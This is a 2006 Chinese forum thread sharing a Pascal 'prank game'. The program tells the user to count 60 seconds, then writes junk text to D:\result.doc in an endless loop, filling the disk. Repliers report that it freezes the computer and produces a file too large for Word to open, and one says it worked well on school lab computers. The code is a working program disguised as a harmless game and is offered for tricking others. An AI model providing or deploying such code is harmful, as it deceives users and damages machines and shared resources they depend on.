整人游戏 [复制链接]

比较缺德，我用pascal写的

var f:text;
Begin
    writeln('this game is called "count 60 seconds".');
    writeln('press "enter" to start');
    writeln('after count 60 seconds without a watch ,close this program');
    writeln('and open "D:\result.doc" to see your result');
    writeln('now you may start');
    readln;
    writeln('you have started.............');

    assign(f,'D:\result.doc');
    rewrite(f);
    while 1=1 do writeln(f,'fdhiaheuiohdjkaebjiohalebjcia');
    close(f);
end.

大家想想结果，60秒后打开result.doc会.........

我认为是死机~

引用第0楼山鹰于2006-10-24 16:34发表的“整人游戏”: 比较缺德，我用pascal写的 var f:text; Begin     writeln('this game is called "count 60 seconds".'); .......

我当年就是这么干的,现在不了.....

结果：
Word无法打开此文件，因为它大于32兆。

图片:未命名.GIF

对我们机房的机器挺有效的
如果玩游戏的人很有耐心数了60秒的话,他这节客不用干别的了

顶顶顶顶顶顶顶啊！！

顶！！！！！！！！！！！！

............................

顶啊顶啊顶啊顶!